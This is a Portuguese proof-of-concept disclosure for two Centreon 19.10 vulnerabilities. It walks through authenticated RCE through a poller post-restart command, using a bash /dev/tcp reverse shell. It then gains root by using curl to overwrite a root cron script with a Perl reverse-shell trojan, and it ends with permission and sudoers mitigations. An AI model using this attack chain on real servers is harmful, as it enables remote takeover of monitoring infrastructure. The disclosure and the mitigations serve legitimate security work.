
Centreon =<19.10 RCE Autenticado
Prova de Conceito
Descoberto por:
SpengeSec (Guylian Dw)
TheCyberGeek (Matthew B)
Execução Remota de Código Autenticada:
Vamos começar fazendo login como usuário Admin no painel web do Centreon.
Após o login, navegamos até Configuração > Comandos > Diversos
Em seguida, clique em Adicionar, conforme mostrado na imagem abaixo.
Agora criamos um reverse shell bash como nosso comando Diversos
#!/bin/bash
bash -i >& /dev/tcp/{IP}/{PORT} 0>&1
E clique em Salvar
Agora navegamos até Configuração > Pollers e clicamos no nosso poller Central atual
Isso nos dá acesso ao menu Modificar configuração do poller
Aqui podemos rolar para baixo e definir um comando pós-reinício
Em seguida, selecione o reverse shell que criamos anteriormente e clique no botão Salvar
Agora podemos iniciar o listener Netcat em nossa máquina local
Por fim, clicamos no botão Exportar configuração no menu Configuração > Pollers
Selecione o nosso poller Central na caixa suspensa Pollers
Desmarque as caixas de seleção Gerar arquivos de configuração e Executar depuração do mecanismo de monitoramento (-v)
Marque as caixas de seleção Reiniciar mecanismo de monitoramento e Comando pós-geração
Selecione Reiniciar na caixa suspensa Método
Ao clicar em Exportar, o Poller será reiniciado e, assim, executará o Comando Pós-Reinício que configuramos anteriormente É neste momento que nosso listener do reverse shell receberá uma conexão
A Execução Remota de Código autenticada foi bem-sucedida!
(Este foi o write-up para CVE-2019-19699)
A partir daqui, passamos a obter Root
Vamos usar o CVE-2019-16406 encontrado por TheCyberGeek para comprometer totalmente o servidor Centreon =< 19.10
Vamos começar gerando um shell TTY no nosso terminal atual do reverse shell
python -c 'import pty; pty.spawn("/bin/sh")'
Agora vamos ver quais tarefas cron existem executando cat /etc/cron.d/*
Agora vemos que centreon_autodisc.pl é uma tarefa Cron
(Foi alterado de 30 22 * * * root para * * * * * root para fins de demonstração)
Isso é executado como Root; vamos substituir o centreon_autodisco.pl por um reverse shell em Perl
O shell Perl que usarei pode ser baixado aqui
Baixe o reverse shell e edite o endereço IP e a porta para os seus, conforme explicado na página da web
Execute um mv para renomear o arquivo perl-reverse-shell.pl para centreon_autodisco.pl localmente
Vamos iniciar um SimpleHTTPServer local em uma porta de sua escolha
Dessa forma, podemos curl http://{local_ip}:{port}/centreon_autodisco.pl -o /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl para substituir o centreon_autodisco.pl existente pelo nosso cavalo de troia reverse shell em Perl
Agora que o arquivo foi substituído, tudo o que resta fazer é iniciar um listener Netcat na porta que configuramos anteriormente, e receberemos uma conexão de volta do servidor como usuário Root!
O acesso ao sistema como Root foi bem-sucedido!
Agora, as notas sobre como achamos que a escalada de privilégios deve ser mitigada!
Configurações atuais no 19.10:
#####################################
# Centreon Auto Discovery
#
30 22 * * * root ls -la --config='/etc/centreon/conf.pm' --config-extra='/etc/centreon/centreon_autodisco.pm' --severity=error >> /var/log/centreon/centreon_auto_discovery.log 2>&1
* * * * * centreon /opt/rh/rh-php72/root/usr/bin/php /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php >> /var/log/centreon/centreon_host_discovery.log 2>&1
File Permissions:
-rwxr-xr-x 1 apache apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rw-r--r-- 1 apache apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
-rwsrwxr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Mitigação para /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
ls -la who
-rwxr-xr-x 1 root apache 7880 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
Como você pode ver, agora ele pertence ao Root; o grupo apache pode apenas ler e executar; o centreon pode apenas executar; portanto, isso não afeta a funcionalidade.
Exemplo:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/hostDiscovery/HostDiscovery.php: Permission denied Mas o apache ainda pode executá-lo.
Mitigação para /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chown root:apache /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
chmod 755 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
ls -la /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
-rwxr-xr-x 1 root apache 173 Oct 11 11:09 /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
Como você pode ver, agora ele pertence ao Root; o grupo apache pode apenas ler e executar; o centreon pode apenas executar; portanto, isso não afeta a funcionalidade.
Exemplo:
bash-4.2$ whoami
apache
bash-4.2$ echo "hello" > /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl
bash: /usr/share/centreon/www/modules/centreon-autodiscovery-server//cron/centreon_autodisco.pl: Permission denied Mas o apache ainda pode executá-lo.
Mitigação para /usr/lib/centreon/plugins/cwrapper_perl
Use comandos sudo definindo scripts específicos que precisam ser executados por cada usuário.
Faça o root ser o dono de cada script perl para que os usuários não possam alterar ou substituir o script para escalada de privilégios.
chmod 755 /usr/lib/centreon/plugins/cwrapper_perl
ls -la /usr/lib/centreon/plugins/cwrapper_perl
-rwxr-xr-x 1 root root 7240 Aug 11 2017 /usr/lib/centreon/plugins/cwrapper_perl
Agora os usuários não podem mais alterar ou substituir o script!
Exemplo:
cat /etc/sudoers
...
## Allow root to run any commands anywhere
root ALL=(ALL) ALL
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script1.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script2.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script3.pl
centreon ALL=(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_script4.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts1.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts2.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts3.pl
apache ALL(ALL:ALL) NOPASSWD: /usr/lib/centreon/plugins/cwrapper_perl example_scripts4.pl
...
---End of Sudoers---
ls -la example_script1.pl
-rwxr-xr-x 1 root centreon 173 Dec 15 11:09 example_script1.pl
ls -la examle_scripts1.pl
-rwxr-xr-x 1 root apache 173 Dec 15 11:09 example_script1.pl
Os usuários ainda podem executar os scripts necessários e os scripts não podem ser alterados por apache ou centreon, eliminando assim completamente a ameaça de segurança para a escalada de privilégios.
Se um invasor entrar agora na máquina, assumir o controle total dela seria muito difícil ou impossível, a menos que mais ameaças sejam descobertas.
Para o usuário Centreon, a única escalada de privilégios que encontramos foi o cwrapper para perl; portanto, se o pós-reinício fosse executado pelo usuário centreon e um invasor obtivesse um shell como usuário centreon, praticamente não restaria mais superfície de ataque.
Obrigado por ler